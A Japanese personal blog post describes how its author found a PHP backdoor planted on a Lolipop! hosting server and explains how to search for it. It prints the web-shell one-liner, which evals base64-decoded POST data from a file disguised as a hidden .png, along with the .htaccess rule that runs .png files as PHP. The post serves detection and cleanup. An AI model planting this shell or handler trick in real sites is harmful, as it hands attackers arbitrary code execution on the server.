OXY NOTES

知らないうちにロリポップ!にバックドアが仕掛けられていた!

あわや大惨事!ハッカーに任意のPHPを実行される危険があった

なんだか愉快なアイキャッチを用意しましたが、事態はかなり深刻でした。

危うくハッカーに弄られ放題になるところでした。
バックアップファイルもしっかりチェックする必要があるぞ、という話です。


バックドアを発見する経緯

何かがあった時のために、サーバのファイルをzip圧縮してバックアップして管理していました。
今回そのバックアップから、あるファイルを取り出そうと圧縮ファイルを解凍。するとMicrosoft Security Essentialsより、以下のアラートが表示されました。

何だ?」と思って当該フォルダを調べてみたところ「.58b4b.png」という怪しいファイル名の画像が…。画像なのにわざわざLinux上で不可視ファイルになる「.」を先頭に付けるわけがない。
プロパティを見ると99バイトしかありません。

そこで、このファイルをテキストエディタで開いてみると以下のようなコードであることがわかりました。

<?php ($_=$_POST).($_1='_').($_4=$$_1).($_4=$_4[$_1]).($_4($$_1)).eval(base64_decode($_4($$_1)));?>

さらに同じディレクトリに「.htaccess」が設置され以下の内容になっていました。

order deny
deny from all
AddHandler application/x-httpd-php .png

最後にもう一つ、ルートディレクトリに「index.bak.php」というファイルが作成されていました。
このファイルの内容は画像ファイルに偽装した「.58b4b.png」と同じでした。

<?php ($_=$_POST).($_1='_').($_4=$$_1).($_4=$_4[$_1]).($_4($$_1)).eval(base64_decode($_4($$_1)));?>

これは何だろうと検索してみると、2012年に流行ったCGI版のPHPにある脆弱性を利用したバックドアの設置でした。

このまま放置しておくとローカルファイル・インクルード攻撃(Local File Include attack)を受ける可能性があります。
簡単にいえば、任意のPHPを実行できる環境をハッカーに与えるようなものです。

参考URL:
”improve it!” CGI版のPHPの脆弱性を突いてトラップを仕掛けた事例
ZF-Ex BLOG .htaccess改ざんの件、恐らく完結
お笑いプログラマの技術メモ PHP eval base64_decode 攻撃とその対処方法

ロリポップ!の対応

【重要】PHP5.2及びPHP5.3の脆弱性への緊急対応につきまして

参考URLとロリポップの対応から分かるように、現在はこの脆弱性は修正され対策済みなので問題ありません。しかし、仕掛けられたバックドアは非常に危険なため、もし当該ファイルがある場合はただちに削除してください


バックドアが仕掛けられていないか調べる方法

サーバ側、ローカル側合わせて調べておいたほうが安心です。

サーバにバックドアが仕掛けられていないか調べる方法

WinSCPを使えば、サーバ上のファイルを簡単に検索できます。

コマンド > ファイル検索」を選択。

ファイルマスクに「.htaccess」、検索に「/(ルートディレクトリという意味)」と入力して検索ボタンを押せば自動で探してくれます。

見に覚えのない66バイト程度の「.htaccess」がないかチェックしてください。
同じく「index.bak.php」についても検索しておけば安心です。

ローカルのファイルにバックドアが仕掛けられていないか調べる方法

ローカルであれば詳細な検査ができます。今回のバックドアはよくある攻撃方法で、肝になるコードは「eval(base64_decode」という部分です。
ファイルの内容まで検索できるソフトを利用して全文検索をしておくと、より安全です。

ファイル内の全文検索は以前の投稿で紹介した「DesktopHE」がお勧めです。

詳しい使い方は「Google Desktopが終了。代替ソフトであるDesktopHEを使おう。」を参照してください。

以上、検索方法でした。
最近「バックアップからファイルを復元した」という方は確認してみてください。


余談ですが、昨年9月に起きた大規模改ざんの顛末はどうなったんでしょうか?
被害について警察に相談するとありましたが、犯人の特定はできたのでしょうか?気になるところです。